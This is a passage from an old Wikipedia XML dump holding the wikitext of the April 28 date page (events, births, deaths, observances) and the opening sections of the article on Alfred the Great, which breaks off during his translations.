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      <timestamp>2006-02-27T23:55:19Z</timestamp>
      <contributor>
        <ip>84.142.181.128</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=28}}
|}
'''April 28''' is the 118th day of the year (119th in [[leap year]]s) in the [[Gregorian Calendar]], with 247 days remaining.
==Events==
*[[1253]] - [[Nichiren]], a [[Japan]]ese [[Buddhism|Buddhist]] monk, propounds ''[[Nam Myoho Renge Kyo]]'' for the first time and declares it to be the essence of Buddhism, in effect founding [[Nichiren Buddhism]].
*[[1788]] - [[Maryland]] becomes the 7th state to ratify the [[Constitution of the United States]].
*[[1789]] - [[Mutiny]] on the [[Mutiny on the Bounty (history)|HMS ''Bounty'']]. Captain [[William Bligh]] and 18 sailors are set adrift and the rebel crew sets sail for [[Pitcairn Island]].
*[[1796]] - The [[Armistice of Cherasco]] is signed by [[Napoleon I of France|Napoleon Bonaparte]] and [[Victor Amadeus III of Sardinia|Vittorio Amedeo III]], the [[King of Sardinia]], expanding French territory along the [[Mediterranean]] coast.
*[[1862]] - [[American Civil War]]: [[Admiral]] [[David Farragut]] captures [[New Orleans, Louisiana]].
*[[1867]] - [[Pi Beta Phi]] Fraternity for Women founded at [[Monmouth College]] in Monmouth, [[Illinois]]
*[[1920]] - [[Azerbaijan]] is added to the [[Soviet Union]]. 
*[[1930]] - The first night game in organized baseball history takes place in [[Independence, Kansas]].
*[[1932]] - A [[vaccine]] for [[yellow fever]] is announced for use on [[human]]s. 
*[[1945]] - [[Benito Mussolini]] and his mistress [[Clara Petacci]] are executed by members of the [[Italian resistance movement]]. 
*[[1947]] - [[Thor Heyerdahl]] and five crewmates set out from [[Peru]] on the ''[[Kon-Tiki]]'' to prove that Peruvian natives could have settled [[Polynesia]]. 
*[[1950]] - King of Thailand, [[Bhumibol Adulyadej]], got married with his queen,[[Queen Sirikit]], after their quiet engagement in Lausanne, Switzerland on July 19, 1949. 
*[[1952]] - [[Dwight D. Eisenhower]] resigns as Supreme Commander of [[NATO]] in order to run for [[President of the United States]].
*1952 - [[Occupied Japan]]: The [[United States]] occupation of [[Japan]] ends. 
*[[1965]] - [[United States]] troops land in the [[Dominican Republic]] to &quot;forestall establishment of a [[Communist]] dictatorship&quot; and to evacuate U.S. citizens. 
*[[1967]] - [[Expo 67]]  opens in [[Montréal]], Québec, Canada
*[[1969]] - [[Charles de Gaulle]] resigns as [[President of France]].
*[[1970]] - [[Vietnam War]]: U.S. President [[Richard M. Nixon]] formally authorizes [[United States|American]] combat troops to fight [[communist]] sanctuaries in [[Cambodia]].
*[[1977]] - The [[Red Army Faction]] trial ends, with [[Andreas Baader]], [[Gudrun Ensslin]] and [[Jan-Carl Raspe]] found guilty of four counts of [[murder]] and more than 30 counts of [[attempted murder]].
*1977 - The [[Budapest Treaty|Budapest Treaty on the International Recognition of the Deposit of Microorganisms for the Purposes of Patent Procedure]] is signed.
*[[1978]] - [[President of Afghanistan]] [[Mohammed Daoud Khan]] is overthrown and [[assassin]]ated in a [[coup]] led by pro-communist rebels.
*[[1981]] - [[Galicia (Spain)|Galician]] current [[Galician Statute of Autonomy|Statute of Autonomy]]
*[[1987]] - [[United States|U.S.]] engineer [[Ben Linder]] is killed in an ambush by US-funded [[Contras]] in northern [[Nicaragua]]. 
*[[1988]] - Near [[Maui, Hawaii]], a [[flight attendant]] is sucked out of [[Aloha Flight 243]], a  [[Boeing 737]], and falls to her death when an upper part of the plane's cabin area rips off in mid-flight. Metal fatigue is later found to be the cause of the failure.
*[[1990]] -  After 6,237 performances, the [[Broadway theatre|Broadway]] musical ''[[A Chorus Line]]'' closes.
*[[1994]] - Former [[Central Intelligence Agency]] official [[Aldrich Ames]] pleads guilty to giving [[United States|U.S.]] secrets to the [[Soviet Union]] and later [[Russia]]. 
*[[1996]] - [[Whitewater scandal]]: President [[Bill Clinton]] gives 4 1/2 hour videotaped testimony for the defense.
*1996 - [[Port Arthur massacre]]: [[Martin Bryant]] kills 35 people and wounds another 18 in [[Tasmania]], [[Australia]].
*[[1997]] - The [[1993]] [[Chemical Weapons Convention]] goes into effect. [[Russia]], [[Iraq]] and [[North Korea]] were notable nations who had not ratified the treaty. 
*[[2001]] - Millionnaire [[Dennis Tito]] becomes the world's first [[space tourism|space tourist]].
*[[2003]] - [[Apple Computer]]'s [[iTunes Music Store]] launches, selling 1 million songs in its first week.
*2003 - Iraq: 15 unarmed teenagers were killed by American forces in front of a school during a demostration; marking the beginning of the [[Falluja]] riots that took place during [[April 2003]].
*[[2004]] - Pictures of abuse and torture of prisoners by U.S. armed forces at [[Abu Ghraib prison]] are first shown on [[60 Minutes]].
*[[2005]] - The [[Patent Law Treaty]] goes into effect.

==Births==
*[[1442]] - King [[Edward IV of England]] (d. [[1483]])
*[[1630]] - [[Charles Cotton]], English poet (d. [[1687]])
*[[1686]] - [[Michael Brokoff]], Czech sculptor (d. [[1721]])
*[[1715]] - [[Franz Sparry]], composer (d. [[1767]])
*[[1758]] - [[James Monroe]], 5th [[President of the United States]] (d. [[1831]])
*[[1819]] - [[Ezra Abbot]], American Bible scholar (d. [[1884]])
*[[1838]] - [[Tobias Michael Carel Asser]], Dutch jurist, recipient of the [[Nobel Peace Prize]] (d. [[1913]])
*[[1874]] - [[Karl Kraus]], Austrian journalist and author (d. [[1936]])
*[[1878]] - [[Lionel Barrymore]], American actor (d. [[1954]])
*[[1886]] - [[Ghabdulla Tuqay|&amp;#286;abdulla Tuqay]], Russian poet (d. [[1913]])
*[[1889]] - [[António de Oliveira Salazar]], dictator of Portugal (d. [[1970]])
*[[1900]] - [[Jan Oort]], Dutch astronomer (d. [[1992]])
*[[1903]] - [[Johan Borgen]], Norwegian author (d. [[1979]])
*[[1906]] - [[Kurt Gödel]], Austrian mathematician (d. [[1978]])
*1906 - [[Paul Sacher]], Swiss conductor (d. [[1999]])
*[[1908]] - [[Oskar Schindler]], Austrian businessman and anti-Nazi resistance worker (d. [[1974]])
*[[1912]] - [[Odette Sansom]], French resistance worker (d. [[1995]])
*[[1916]] - [[Ferruccio Lamborghini]], Italian automobile manufacturer (d. [[1993]])
*[[1921]] - [[Rowland Evans]], American journalist and commentator (d. [[2001]])
*[[1924]] - [[Kenneth Kaunda]], [[President of Zambia]]
*[[1926]] - [[Harper Lee]], American author
*[[1928]] - [[Yves Klein]], French painter (d. [[1962]])
*1928 - [[Eugene M. Shoemaker]], American planetary scientist (d. [[1997]])
*[[1930]] - [[James Baker]], American politician
*1930 - [[Carolyn Jones]], American actress (d. [[1983]])
*[[1937]] - [[Saddam Hussein]], former leader of Iraq
*[[1938]] - [[Madge Sinclair]], Jamaican actress (d. [[1995]])
*[[1941]] - [[Ann-Margret]], Swedish-born actress
*1941 - [[K. Barry Sharpless]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1943]] - [[Jacques Dutronc]], French singer and actor
*[[1944]] - [[Jean-Claude Van Cauwenberghe]], Belgian politician
*[[1948]] - [[Terry Pratchett]], English author
*1948 - [[Marcia Strassman]], American actress
*[[1950]] - [[Jay Leno]], American comedian and television host
*[[1952]] - [[Mary McDonnell]], American actress
*[[1953]] - [[Kim Gordon]], American musician ([[Sonic Youth]])
*[[1955]] - [[Paul Guilfoyle]], American actor
*[[1955]] - [[Nicky Gumbel]], British Author and Priest
*[[1956]] - [[Jimmy Barnes]], Scottish-born singer
*[[1958]] - [[Hal Sutton]], American golfer
*[[1960]] - [[John Cerutti]], baseball player and announcer (d. [[2004]])
*[[1966]] - [[John Daly]], American golfer
*1966 - [[Too $hort]], American rapper
*[[1970]] - [[Nicklas Lidström]], Swedish Hockey player
*1970 - [[Diego Simeone]], Argentine footballer
*[[1973]] - [[Elisabeth Röhm]], American actress
*1973 - [[Jorge Garcia]], American actor
*[[1974]] - [[Penélope Cruz]], Spanish actress
*1974 - [[Richel Hersisia]], Dutch boxer
*[[1981]] - [[Jessica Alba]], American actress
*[[1986]] - [[Keri Sable]], American pornographic actress
&lt;!-- Please do not add your own birthday to this list.  Thank you. --&gt;

==Deaths==
*[[1192]] - [[Conrad of Montferrat]], King of Jerusalem
*[[1498]] - [[Henry Percy, 4th Earl of Northumberland]], English politician (killed in battle)
*[[1533]] - [[Nicholas West]], English bishop and diplomat (b. [[1461]])
*[[1695]] - [[Henry Vaughan]], Welsh poet (b. [[1621]])
*[[1710]] - [[Thomas Betterton]], English actor
*[[1726]] - [[Thomas Pitt]], British Governor of Madras (b. [[1653]])
*[[1772]] - [[Johann Friedrich Struensee]], physician of [[Christian VII of Denmark]] (b. [[1737]])
*[[1781]] - [[Cornelius Harnett]], American delegate to the Continental Congress]] (b. [[1723]])
*[[1813]] - [[Mikhail Illarionovich Kutuzov]], Russian field marshal (b. [[1745]])
*[[1816]] - [[Johann Heinrich Abicht]], German philosopher (b. [[1862]])
*[[1841]] - [[Peter Chanel]], French saint (b. [[1803]])
*[[1853]] - [[Ludwig Tieck]], German writer (b. [[1773]])
*[[1858]] - [[Johannes Peter Müller]], German physiologist (b. [[1801]])
*[[1905]] - [[Fitzhugh Lee]], American Confederate general (b. [[1835]])
*[[1926]] - [[Zip the Pinhead]], American freak show performer (b. [[1857]])
*[[1945]] - [[Benito Mussolini]], Italian fascist dictator (b. [[1882]])
*1945 - [[Clara Petacci]], Italian mistress of [[Benito Mussolini]] (shot) (b. [[1912]])
*1945 - [[Roberto Farinacci]], Italian fascist (b. [[1892]])
*[[1954]] - [[Léon Jouhaux]], French labor leader, recipient of the [[Nobel Peace Prize]] (b. [[1879]])
*[[1973]] - [[Clas Thunberg]], Finnish speed skater (d. [[1893]])
*[[1978]] - [[Sardar Mohammed Daoud]], [[President of Afghanistan]] (shot) (b. [[1909]])
*[[1992]] - [[Francis Bacon (painter)|Francis Bacon]], Anglo-Irish painter (b. [[1909]])
*1992 - [[Iceberg Slim]], American writer (b. [[1918]])
*[[1993]] - [[Jim Valvano]], American basketball coach (b. [[1946]])
*[[1999]] - [[Rory Calhoun]], American actor (b. [[1922]])
*1999 - [[Arthur Leonard Schawlow]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1921]])
*[[2000]] - [[Penelope Fitzgerald]], English writer (b. [[1916]])
*[[2002]] - [[Alexander Lebed]], Russian general (b. [[1950]])
*2002 - [[Lou Thesz]], American wrestler (b. [[1916]])
*[[2005]] - [[Chris Candito|Chris Candido]], professional wrestler (b. [[1972]])

==Holidays and observances==
*[[Roman Empire]] - first day of the [[Floralia]] in honor of [[Chloris|Flora]]
*[[Bahá'í Faith]] - Feast of Jamál (Beauty) - First day of the third month of the Bahá'í Calendar
*[http://www.ilo.org/public/english/protection/safework/worldday/ World Day for Safety and Health at Work]
*[[Feast day]] of the following [[saint]]s in the [[Roman Catholic Church]]:
**[[Saints Theodora and Didymus]]
**[[Arthemius]]
**[[Saints Vitalis and Valeria]]
**[[Patritius]]
**[[Luchesius]]
**[[Louis Marie Grignon of Montfort]]
**[[Peter Chanel]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/28 BBC: On This Day]

----

[[April 27]] - [[April 29]] - [[March 28]] - [[May 28]] – [[historical anniversaries|listing of all days]]

{{months}}

[[af:28 April]]
[[ar:28 أبريل]]
[[an:28 d'abril]]
[[ast:28 d'abril]]
[[bg:28 април]]
[[be:28 красавіка]]
[[bs:28. april]]
[[ca:28 d'abril]]
[[ceb:Abril 28]]
[[cv:Ака, 28]]
[[co:28 d'aprile]]
[[cs:28. duben]]
[[cy:28 Ebrill]]
[[da:28. april]]
[[de:28. April]]
[[et:28. aprill]]
[[el:28 Απριλίου]]
[[es:28 de abril]]
[[eo:28-a de aprilo]]
[[eu:Apirilaren 28]]
[[fo:28. apríl]]
[[fr:28 avril]]
[[fy:28 april]]
[[ga:28 Aibreán]]
[[gl:28 de abril]]
[[ko:4월 28일]]
[[hr:28. travnja]]
[[io:28 di aprilo]]
[[id:28 April]]
[[ia:28 de april]]
[[ie:28 april]]
[[is:28. apríl]]
[[it:28 aprile]]
[[he:28 באפריל]]
[[jv:28 April]]
[[ka:28 აპრილი]]
[[csb:28 łżëkwiôta]]
[[ku:28'ê avrêlê]]
[[lt:Balandžio 28]]
[[lb:28. Abrëll]]
[[li:28 april]]
[[hu:Április 28]]
[[mk:28 април]]
[[mi:28 Paenga-whāwhā]]
[[ms:28 April]]
[[nap:28 'e abbrile]]
[[nl:28 april]]
[[ja:4月28日]]
[[no:28. april]]
[[nn:28. april]]
[[oc:28 d'abril]]
[[pl:28 kwietnia]]
[[pt:28 de Abril]]
[[ro:28 aprilie]]
[[ru:28 апреля]]
[[sco:28 Aprile]]
[[sq:28 Prill]]
[[scn:28 di aprili]]
[[simple:April 28]]
[[sk:28. apríl]]
[[sl:28. april]]
[[sr:28. април]]
[[fi:28. huhtikuuta]]
[[sv:28 april]]
[[tl:Abril 28]]
[[tt:28. Äpril]]
[[te:ఏప్రిల్ 28]]
[[th:28 เมษายน]]
[[vi:28 tháng 4]]
[[tr:28 Nisan]]
[[uk:28 квітня]]
[[ur:28 اپریل]]
[[wa:28 d' avri]]
[[war:Abril 28]]
[[zh:4月28日]]
[[pam:Abril 28]]</text>
    </revision>
  </page>
  <page>
    <title>Alfred the Great</title>
    <id>1640</id>
    <revision>
      <id>42103550</id>
      <timestamp>2006-03-03T21:22:59Z</timestamp>
      <contributor>
        <username>UkPaolo</username>
        <id>269651</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/80.189.247.197|80.189.247.197]] ([[User talk:80.189.247.197|talk]]) to last version by Stbalbach</comment>
      <text xml:space="preserve">{{Infobox Monarch Basic 
| name=Alfred the Great
| title=King of England
| image=[[Image:Alfred the Great.jpg|200px]]
| rank=6th
| reign=[[871]]&amp;ndash;[[26 October]], [[899]]
| date of birth=c.[[849]]
| place of birth=[[Wantage]], modern [[Oxfordshire]],&lt;br/&gt;[[England]]
| date of death=[[26 October]] [[899]]
| place of death=|
| place of burial=Hyde Abbey
| married=[[Ealhswith]]
| father=[[Ethelwulf of Wessex|Ethelwulf]]
| mother=[[Osburga]]
}}

'''Alfred''' ([[849]]? &amp;ndash; [[26 October]] [[899]]) or ''Ælfred'' was king of the southern [[Anglo-Saxon]] kingdom of [[Wessex]] from [[871]] to [[899]].  Alfred is famous for his defence of the kingdom against the Danes ([[Vikings]]), becoming as a result the only English monarch to be awarded the [[epithet]] &quot;the Great&quot; by his people. Alfred was the first [[List of monarchs of Wessex|King of Wessex]] to style himself &quot;[[List of British monarchs|King of England]]&quot;. Details of his life are known as a result of a work by the [[Wales|Welsh]] scholar, [[Asser, Bishop of Sherborne|Asser]]. A learned man, Alfred encouraged education and improved the kingdom's law system ([[Doom book]]).

== Childhood ==
Alfred was born sometime between [[847]] and AD [[849]] at [[Wantage, England|Wantage]] in present-day [[Oxfordshire]], the fourth son of King [[Ethelwulf of Wessex]] (Æþelwulf), most likely by his first wife, [[Osburh]]. He succeeded his brother, [[Ethelred I]] (Æþelræd I), as King of [[Wessex]] and [[Mercia]] in [[871]].

He seems to have been a child of singular attractiveness and promise, and tales of his boyhood were remembered. At five years old, in [[853]], he is said to have been sent to [[Rome]], where he was confirmed by [[Pope Leo IV]], who is also said to have &quot;anointed him as king.&quot; Later writers took this as an anticipatory crowning in preparation for his ultimate succession to the throne of Wessex. That, however, could not have been foreseen in 853, as Alfred had three elder brothers living. It is likely to be understood either of investiture with the consular insignia or possibly with some titular royalty such as that of the under-kingdom of [[Kent]].

This tale is likely apocryphal, though in [[854]]&amp;ndash;[[855]] Alfred almost certainly did go with his father on a pilgrimage to [[Rome]], spending some time at the court of [[Charles the Bald]], King of the [[Franks]]. In [[858]], Ethelwulf died.

== Public life ==
During the short reigns of his two eldest brothers, [[Ethelbald of Wessex|Ethelbald]] and [[Ethelbert of Wessex|Ethelbert]], nothing is heard of Alfred. But with the accession of the third brother, Ethelred, in [[866]] the public life of Alfred began, and he began his great work of delivering England from the [[Denmark|Danes]]. It is in this reign that Asser applies to Alfred the unique title of ''secundarius,'' which seems to show a position akin to that of the [[Celt]]ic ''tanist,'' a recognized successor, closely associated with the reigning prince. It is likely that this arrangement was sanctioned by the [[Witenagemot]], to guard against the danger of a disputed succession should Aethelred fall in battle. The arrangement of crowning a successor as co-king, however, is well-known among [[Germanic tribes]], such as the [[Swedes]], and the Franks, with whom the Anglo-Saxons had close ties (see [[diarchy]] and [[Germanic king]]).
[[Image:Statue d'Alfred le Grand à Winchester.jpg|right|thumb|250px|Statue of Alfred the Great at Winchester]]
In [[868]] Alfred married [[Ealhswith]], daughter of [[Aethelred Mucill]], who is called [[ealdorman]] of the [[Gaini]], a folk who dwelt in [[Lincolnshire]] about [[Gainsborough, England|Gainsborough]]. She was the granddaughter of a former King of Mercia, and they had five or six children, one a daughter, [[Ethelfleda]], who would become queen of Mercia in her own right.

The same year Alfred, fighting beside his brother Ethelred, made an unsuccessful attempt to relieve Mercia from the pressure of the Danes. For nearly two years Wessex had a respite. But at the end of [[870]] the storm burst; and the year which followed has been rightly called &quot;Alfred's year of battles.&quot;

Nine general engagements were fought with varying fortune, though the place and date of two of them have not been recorded. A successful skirmish at [[Battle of Englefield]], [[Berkshire]] ([[31 December]] [[870]]), was followed by a severe defeat at the [[Battle of Reading (871)|Battle of Reading]] ([[4 January]] [[871]]), and this, four days later, by the brilliant victory of [[Battle of Ashdown]], near [[Compton Beauchamp]] in [[Shrivenham Hundred]].

On [[22 January]] [[871]] the English were again defeated at [[Basing]], and on [[22 March]] [[871]] at [[Marton, Wiltshire|Marton]], [[Wiltshire]], the two unidentified battles having perhaps occurred in the interval.

=== Accession ===
In April 871 Ethelred died, and Alfred succeeded to the whole burden of the contest.  While he was busied with the burial and associated ceremonies for his brother, the Danes defeated the English in his absence at an unnamed spot, and once more in his presence at [[Wilton, Wiltshire|Wilton]] in May. After this peace was made, and for the next five years the Danes were occupied in other parts of England, Alfred merely keeping a force of observation on the border. But in [[876]], the Danes, under a new leader, [[Guthrum the Old| Guthrum]], slipped past him and attacked [[Wareham]]. From there, early in [[877]] and under the pretext of talks, they made a dash westwards and took [[Exeter, England|Exeter]]. Here Alfred blockaded them, and a relieving fleet having been scattered by a storm, the Danes had to submit and withdraw to Mercia. But in January [[878]] they made a sudden swoop on [[Chippenham, Wiltshire|Chippenham]], a royal stronghold in which Alfred had been keeping his Christmas, &quot;and most of the people they reduced, except the King Alfred, and he with a little band made his way… by wood and swamp, and after Easter he… made a fort at [[Athelney]], and from that fort kept fighting against the foe&quot; (Chronicle).
[[Image:KingAlfredStatueWantage.jpg|thumb|200px|left|Alfred the Great's birthplace [[Wantage]] boasts a statue of its greatest son.]]

A legend tells how, while a fugitive in the marshes of [[Athelney]] near [[North Petherton]] in [[Somerset]], after the first Danish invasion, he was given shelter by a peasant woman who, ignorant of his identity, left him to watch some cakes she had left cooking on the fire. Preoccupied with the problems of the kingdom, Alfred let the cakes burn, and was taken to task by the woman on her return. Upon realizing the king's identity, the woman apologized profusely, but Alfred insisted that he was the one who needed to apologize. The thought that Alfred, during his retreat at Athelney, was a helpless fugitive rests upon the legend of the cakes. In truth he was organizing victory. At about the same time, he is supposed to have disguised himself as a harpist to gain entry to Guthrum's camp and discover his plans.

By the middle of May, his preparations were complete and he moved out of Athelney, being joined on the way by the levies of [[Somerset]], [[Wiltshire]] and [[Hampshire]]. The Danes on their side moved out of Chippenham, and the two armies met at the [[Battle of Edington]] in Wiltshire. The result was a decisive victory for Alfred. The Danes submitted. Guthrum, the Danish king, and twenty-nine of his chief men took baptism, recorded by Asser as occuring at [[Treaty of Wedmore|Wedmore]]. As a result, [[England]] became split into two, the south-western half kept by the [[Saxons]] and the north-eastern half becoming known as the [[Danelaw]]. By the next year ([[879]]) not only Wessex, but Mercia, west of [[Watling Street]], was cleared of the invader.

Though for the time being the north-eastern half of England, including [[London]], was in the hands of the Danes, in truth the tide had turned. For the next few years there was peace, the Danes being kept busy in Europe. A landing in Kent in [[880s|884 or 885]], though successfully repelled, encouraged the East Anglian Danes to rise up. The measures taken by Alfred to repress this uprising culminated in the taking of London in [[885]] or [[886]], following which an agreement was reached between Alfred and Guthrum, the [[Treaty of Alfred and Guthrum]].

Once more for a time there was a lull; but in the fall of [[890s|892 or 893]] the last storm burst. The Danes, finding their position in Europe becoming more and more precarious, crossed to England in two divisions, amounting in the aggregate to 330 sail, and entrenched themselves, the larger body at [[Appledore, Kent]],  and the lesser under [[Haesten]] at [[Milton, Kent|Milton]]  also in Kent. The fact that the new invaders brought their wives and children with them shows that this was no mere raid, but a meaningful attempt, in concert with the Northumbrian and East Anglian Danes, to conquer England. Alfred, in 893 or 894, took up a position whence he could observe both forces. While he was in talks with Haesten the Danes at Appledore broke out and struck north-westwards, but were overtaken by Alfred's eldest son, [[Edward the Elder|Edward]], and defeated in a general engagement at [[Farnham]], and driven to take refuge on an island in the [[River Colne, Hertfordshire|Hertfordshire Colne]], where they were blockaded and ultimately compelled to submit. They then fell back on Essex, and after suffering another defeat at [[Benfleet]] coalesced with Haesten's force at [[Shoebury]].

Alfred had been on his way to relieve his son at Thorney when he heard that the Northumbrian and East Anglian Danes were besieging Exeter and an unnamed stronghold on the North [[Devon]] shore. Alfred at once hurried westward and raised the siege of Exeter; the fate of the other place is not recorded. Meanwhile the force under Haesten set out to march up the [[Thames Valley]], possibly with the idea of assisting their friends in the west. But they were met by a large force under the three great ealdormen of Mercia, Wiltshire and Somerset, and made to head off to the northwest, being finally overtaken and blockaded at [[Buttington]], which some identify with [[Buttington Tump]] at the mouth of the [[River Wye|Wye River]], others with Buttington near [[Welshpool]]. An attempt to break through the English lines was defeated with loss; those who escaped retreated to Shoebury. Then after collecting reinforcements they made a sudden dash across England and occupied the ruined Roman walls of [[Chester, England|Chester]]. The English did not attempt a winter blockade, but contented themselves with destroying all the supplies in the neighbourhood. And early in [[894]] (or [[895]]) want of food obliged the Danes to retire once more to Essex. At the end of this year and early in 895 (or [[896]]) the Danes drew their ships up the Thames and [[River Lee|Lea]] and fortified themselves twenty miles above London. A direct attack on the Danish lines failed, but later in the year Alfred saw a means of obstructing the river so as to prevent the egress of the Danish ships. The Danes realized that they were out-maneuvred. They struck off northwestwards and wintered at [[Bridgenorth]]. The next year, 896 (or [[897]]), they gave up the struggle. Some retired to Northumbria, some to East Anglia; those who had no connections in England withdrew to the continent. The long campaign was over.

The result testifies to the confidence inspired by Alfred's character and generalship, and to the efficacy of the military reforms initiated by him. These were:
#the division of the ''[[fyrd]]'' or national militia into two, relieving each other at set intervals, so as to ensure continuity in military operations;
#the building of strongholds (burgs) and garrisons at certain points; 
#the enforcement of the obligations of thanehood on all owners of five hides of land, thus giving the king a nucleus of highly equipped troops.

==== Reference ====
* Sir [[Francis Palgrave]], ''History of the Anglo-Saxons'' (1876), pg. 102

=== Reorganization ===
After the dispersal of the Danish invaders Alfred turned his attention to the increase of the royal [[navy]], and ships were built according to the king's own designs, partly to repress the ravages of the Northumbrian and East Anglian Danes on the coasts of Wessex, partly to prevent the landing of fresh hordes. This is not, as often asserted, the beginning of the English navy. There had been earlier naval operations under Alfred. One naval engagement was certainly fought under [[Aethelwulf|Æthelwulf]] (in [[851]]), and earlier ones, possibly in [[833]] and [[840]]. The partisan [[Anglo-Saxon Chronicle|Anglo-Saxon Chronicle]] credits Alfred with the construction of a new type of boat, 'swifter, steadier and also higher/more responsive (hierran) than the others'; but these new ships were not a great success, as we hear of them grounding in action and foundering in a storm. Nevertheless both the [[Royal Navy]] and the [[United States Navy]] claim Alfred as the founder of their traditions.  The first vessel ever commissioned into the United States Navy was [[USS Alfred|USS ''Alfred'']].

Alfred's main fighting force was separated into two, 'so that there was always half at home and half out' ([[Anglo-Saxon Chronicle]]). The level of organisation required to mobilise his large army in two shifts of which one was feeding the other must have been considerable.  The complexity which Alfred's administration had attained by [[892]] is demonstrated by a reasonably reliable charter whose witness list includes a ''thesaurius'', ''cellararius'' and ''pincerna''&amp;mdash;treasurer, food-keeper and butler.  Despite the irritation which Alfred must have felt in [[893]], when one division, which had 'completed their call-up (stemn)' gave up the siege of a Danish army even as Alfred was moving to relieve them, this system seems to have worked remarkably well on the whole.

One of the weaknesses of pre-Alfredian defences had been that, in the absence of a standing army, fortresses were largely left unoccupied, making it very possible for a Viking force quickly to secure a strong strategic position. Alfred substantially upgraded the state of many of Wessex's fortresses, as has been demonstrated by systematic excavation of four West Saxon boroughs (at [[Wareham]], [[Cricklade]], [[Lydford]] and [[Wallingford]]]) that &quot;in every case the rampart associated by the excavators with the borough of the Alfredian period was the primary defence on the site&quot; (N.P. Brooks ''The Development of Military Obligations in Eighth and Ninth Century England''). We know that such defences were not constructed by the occasional Danish occupiers, thanks to surviving transcripts of the formidable 11th Century administrative manuscript known as the Burghal Hidage, dated within 20 years of Alfred's death&amp;mdash;it may well date to Alfred's reign, and it almost certainly reflects Alfredian policy. This documents the established position of these four [[burh]]s, among many others, as permanently garrisoned and maintained fortress-towns. By comparing town plans of Wallingford and Wareham with that of Winchester, one can see 'that they were laid out in the same scheme' (P. Wormald in J. Campbell, ed., ''The Anglo-Saxons''). This supports the proposition that these newly established burhs were planned as centres of habitation and trade as well as a place of safety in moments of immediate danger.  

The &quot;[[Tribal Hidage|Burghal Hidage]]&quot; sets out the obligations for the upkeep and defence of these towns; in this way, the English population and its wealth was drawn into towns where it was not only safer from Viking soldiers, but also taxable by the King.

Alfred is thus credited with a significant degree of civil reorganization, especially in the districts ravaged by the Danes. Even if one rejects the thesis crediting the 'Burghal Hidage' to Alfred, what is undeniable is that, in the parts of Mercia acquired by Alfred from the Vikings, the [[shire]] system seems now to have been introduced for the first time. This is at least one grain of truth in the legend that Alfred was the inventor of shires, [[Hundred (division)|hundreds]] and [[tithing]]s. The finances also needed attention; but the subject is obscure, and we cannot accept Asser's description of Alfred's appropriation of his revenue as more than an ideal sketch. Alfred's care for the administration of justice is testified both by history and legend; and the title &quot;protector of the poor&quot; was his by unquestioned right. Of the action of the [[Witangemot]] we do not hear very much under Alfred. That he was anxious to respect its rights is conclusively proved, but both the circumstances of the time and the character of the king would tend to throw more power into his hands. The legislation of Alfred probably belongs to the later part of the reign, after the pressure of the Danes had relaxed.

=== Foreign relations ===
Asser speaks grandiosely of Alfred's relations with foreign powers, but little definite information is available. He certainly corresponded with [[Elias III]], the [[Orthodox Patriarch of Jerusalem|patriarch of Jerusalem]], and probably sent a mission to [[India]]. Embassies to Rome conveying the English alms to the [[Pope]] were fairly frequent; while Alfred's interest in foreign countries is shown by the insertions which he made in his translation of [[Orosius]].

Around 890 [[Wulfstan of Haithabu]] undertook a journey from [[Haithabu]] on [[Jutland]] along the [[Baltic Sea]] to the Prussian trading town [[Truso]]. Wulfstan reported details of his trip to Alfred the Great.

His relations to the [[Celt]]ic princes in the southern half of the island are clearer. Comparatively early in his reign the [[South Wales|Welsh]] princes, owing to the pressure on them of [[North Wales]] and Mercia, commended themselves to Alfred. Later in the reign the North Welsh followed their example, and the latter co-operated with the English in the campaign of 893 (or 894).  That Alfred sent alms to [[Ireland|Irish]] as well as to European monasteries may be taken on Asser's authority; the visit of the three pilgrim &quot;Scots&quot; (i.e., Irish) to Alfred in 891 is undoubtedly authentic; the story that he himself in his childhood was sent to Ireland to be healed by [[St. Modwenna]], though mythical, may show Alfred's interest in that island.

=== Christianity and His Writings===
The history of the [[Christianity|church]] under Alfred is most obscure. The Danish inroads had told heavily upon it; the monasteries had been special points of attack, and though Alfred founded two or three monasteries and imported foreign monks, there was no general revival of monasticism under him. 

To the ruin of learning and education wrought by the Danes, and the practical extinction of the knowledge of Latin even among the clergy, the preface to Alfred's translation into [[Old English language|Old English]] of [[Pope Gregory I|Pope Gregory's]] ''[[Pastoral Care]]'' bears eloquent witness. It was to remedy these evils that he established a court school, after the example of [[Charlemagne]]; for this he imported scholars like [[Grimbald]] and [[John the Saxon]] from Europe and Asser from South Wales; for this, above all, he put himself to school, and made the series of translations for the instruction of his clergy and people, most of which yet survive. These belong unquestionably to the latter of his reign, likely to the last four years, during which the chronicles are almost silent. 

Apart from the lost ''Handboc'' or ''Encheiridion,'' which seems to have been merely a commonplace-book kept by the king, the earliest work to be translated was the ''Dialogues of Gregory,'' a book greatly popular in the [[Middle Ages]]. In this case the translation was made by Alfred's great friend [[Werferth]], Bishop of [[Worcester, England|Worcester]], the king merely furnishing a foreword. The next work to be undertaken was Gregory's ''Pastoral Care,'' especially for the good of the parish clergy. In this Alfred keeps very close to his original; but the introduction which he prefixed to it is one of the most interesting documents of the reign, or indeed of English history. The next two works taken in hand were historical, the ''Universal History'' of Orosius and [[Bede|Bede's]] ''[[Historia ecclesiastica gentis Anglorum|Ecclesiastical History of the English People]].'' The priority should likely be given to the Orosius, but the point has been much debated. In the Orosius, by omissions and additions, Alfred so remodels his original as to produce an almost new work; in the Bede the author's text is closely stuck to, no additions being made, though most of the documents and some other less interesting matters are omitted. Of late years doubts have been raised as to Alfred's authorship of the Bede translation. But the sceptics cannot be regarded as having proved their point.

